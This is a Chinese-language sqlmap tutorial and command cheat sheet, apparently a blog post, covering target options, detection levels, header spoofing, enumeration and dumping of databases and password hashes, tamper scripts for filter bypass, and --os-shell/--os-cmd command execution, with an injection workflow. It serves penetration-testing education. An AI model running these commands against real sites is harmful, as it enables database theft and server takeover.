SQL注入工具
SQL注入工具
SQLMAP简介
SQLMAP 是一个开放源码的渗透测试工具,它可以自动探测和利用SQL注入漏洞来接管数据库服务器。它配备了一个强大的探测引擎,为最终渗透测试人员提供很多强大的功能,可以拖库,可以访问底层的文件系统,还可以通过带外连接执行操作系统上的命令。
下载地址:https://github.com/sqlmapproject/sqlmap/
官网地址:http://sqlmap.org/
支持的数据库:MySQL, Oracle, PostgreSQL, Microsoft SQL Server, MicrosoftAccess,IBM DB2, SQLite, Firebird, Sybase and SAP MAXDB。
设置目标URL:
参数:-u /–url
最基本格式 sqlmap -u “http: //www. target.com/index. php?id=1”
参数:-m
从文本中获取多个目标扫描,但是每一行只能有一个url。
基本格式:sqlmap -m urllist. txt
参数:-r
从文件中加载HTTP请求,这样的话 就不需要在去设定cookie, POST数据……
基本格式: sqlmap -r 1.txt
设置回显等级:
参数:-v 默认为1:
- 只显示python错误以及严重的信息。
- 同时显示基本信息和警告信息。(默认等级)
- 同时显示debug信息。
- 同时显示注入的payload。
- 同时显示HTTP请求。
- 同时显示HTTP响应头。
- 同时显示HTTP响应页面。
设定探测等级:
参数: --level(sqlmap -r 情况下)
参数:–level (sqlmap -r 情况下)
共有五个等级,默认为1, sqlmap使用的payload可以在xml/payloads.xml中看到,自己也可以根据相应的格式添加自己的payload
level>=2的时候就会测试HTTP Cookie
level>=3的时候就会测试HTTP User-Agent/Referer头
level=5的时候会测试HTTP Host
基本格式:sqlmap -r 1.txt --level=3
设置HTTP数据包相关参数:
参数:–data
此参数是把data后面的数据以POST方式提交,当参数是POST提交的时候,但是你有没有抓取数据包,可以用URL+需要检查的参数。基本格式:sqlmap -u “http://www.target.com/vuln.php” --data=“id=1”
参数:–cookie
当web需要登录的时候,需要我们抓包获取cookie参数,然后复制出来,加到–cookie参数中。基本格式:sqlmap -u “http://www.target.com/vuln.php” --data=“id=1” --cookie=“Cookie: Hm_lvt6910067,1546929561,1547001094,1547024662;PHPSESSID=o64fbvo316lg59njufl2gfutm4;”
HTTP User-Agents
参数:–user-agent
默认情况下sqlmap的HTTP请求头中的User-Agent值是:sqlmap/1.0-dev-xxxxxxxxx(http://sqlmap.org) 这个时候可以手动指定伪造一个User-Agent.
基本格式:sqlmap -u “http://www.target.com” --level 3 --user-agent=“aaaaaa”
参数:–random-agent
会从/usr/share/sqlmap/data/txt中随机产生User-Agent头。
基本格式:sqlmap -u “http://www.target.com” --level 3 --random-agent
sqlmap检查uesr-agent中的注入点,level>=3才会去检查user-agent头是否存在注入漏洞
HTTP Referer头
参数:–referer
sqlmap可以在请求中伪造HTTP中的referer。当–level参数设定>=3时,会尝试进行referer注入。
基本格式:sqlmap -u “http:/A/vww.target.com/?id=1” --referer=http://www.baidu.com --level=3
参数:–delay
可以设定两个http请求间的延迟,设定为1的时候是1秒,默认是没有延迟的。
参数:–timeout
可以设定一个http请求超过多少秒判定为超时,默认是30秒。
指定测试参数:
参数:-p
sqlmap默认会测试所有的GET和POST参数,当-level的值大于等于2的时候也 会测试HTTP Cookie头的值,当大于等于3的时候也会测试User- Agents HTTP Referer头的值。
基本格式:sqlmap -u “http:/A/vww.target.com/?id=1” -p “id,user-angent”
参数:–skip
在使用–level时,级别很大的时候,但是有些参数不能去测试,那么可以使用–skip参数跳过
基本格式:sqlmap -u “http:/A/vww.target.com/?id=1” --skip"user-agent,referer"
设定探测风险等级:
参数:–risk
共有三个风险等级,1-3:
默认是1会测试大部分的测试语句,
2会增加基于时间的测试语句,
3会增加OR语句的SQL注入测试。
注意:在有些时候,例如在UPDATE, DELETE的语句中,注入一个OR的测试语句, 可能导致更新的整个表,可能造成很大的风险。
基本格式:sqlmap -u “http:/A/vww.target.com/?id=1” --risk=2
列数据:
–dbs(查看数据库), --users(查看所有用户), --passwords(查看所有用户密码)
–technique 指定使用哪种注入类型(B , E , U , T , S)
–current-db 当前数据库
–current-user 当前用户
–privileges 权限
-D database_name --tables 获取表
-D database_name -T table_name --columns 获取列
-D database name -T table name -C column_1,column_2 --dump 获取字段内容
使用shell命令:
参数:–os-shell 反弹交互shell
前提:需要网站的物理路径,其次是需要有对站点目录有FILE读写权限。
基本格式 : sqlmap -r “C:\sqlmap\request.txt” -p “id” --dbms mysql --os-shell
选择后端语言
接下来指定网站可写目录: 选择网站路径 : 2为自定义网站路径 d:/phpstudy/www
参数:–os-cmd=系统命令 执行系统命令
–batch 全自动
–start= 开始条数(导出数据时开始条数)
–stop= 结束条数(导出数据时结束条数)
–dump 导出数据
–dump-all 导出所有数据
–purge-output(–purge) 清空缓存目录
sqlmap-u"http://url/news?id=1" --current-user #获取当前用户名称
sqlmap-u"http://url/news?id=1" --current-db #获取当前数据库名称
sqlmap-u"http://url/news?id=1" --dbs #枚举所有数据库名
sqlmap-u"http://url/news?id=1" -D “db_name” --tables # 列出指定数据库的表名
sqlmap-u"http://url/news?id=1" -D “db_name” -T “tablename” --columns # 列列出指定数据库对应表的字段
sqlmap-u"http://url/news?id=1" -D “db_name” -T “table_name” -C “column_name” --dump #获取字段内容
sqlmap-u"http://url/news?id=1" --dbms “Mysql” --users #dbms指定数据库类型
sqlmap-u"http://url/news?id=1" --users #列数据库用户
sqlmap-u"http://url/news?id=1" --passwords #数据库用户密码
sqlmap-u"http://url/news?id=1" --sql-shell #执行指定sql命令
sqlmap-u"http://url/news?id=1" --os-cmd=whoami #执行系统命令
sqlmap-u"http://url/news?id=1" --os-shell #系统交互shell
sqlmap-u"http://url/news?id=1" --dbs -o “sqlmap.log” #保存进度
sqlmap-u"http://url/news?id=1" --dbs -o “sqlmap.log” --resume #恢复已保存进度
sqlmap-u"http://url/news?id=1" --tamper “base64encode.py” #加载脚本(可利用绕过注入限制)
SQLMAP基本注入流程
1.判断注入点和数据类型:
(1)sqlmap -u http://www.test.php?id=1 --GET方法注入
(2)sqlmap -r /etc/url.txt –-POST方法注入(使用Burpsuite等代理工具拦截POST请求内容, 将POST请求内容保存在一个文本文件中,此处为url.txt,并用sqlmap调用)
2.判断数据库名(dbs):sqlmap -u “http://www.test.php?id=1” --dbs
3.判断表名(tables):sqlmap -u “http://www.test.php?id=1” -D 数据库名 --tables
4.判断列名(columns):sqlmap -u “http://www.test.php?id=1” -D 数据库名 -T 表名 --column
5.获取字段:sqlmap -u “http://www.test.php?id=1” -D 数据库名 -T 表名 -C 列名 --dump
查看获取的数据文件:
windows:C:\Users\Administrator.sqlmap\output
Kali linux: /root/.sqlmap/output
AtomGit 是由开放原子开源基金会联合 CSDN 等生态伙伴共同推出的新一代开源与人工智能协作平台。平台坚持“开放、中立、公益”的理念,把代码托管、模型共享、数据集托管、智能体开发体验和算力服务整合在一起,为开发者提供从开发、训练到部署的一站式体验。
更多推荐


所有评论(0)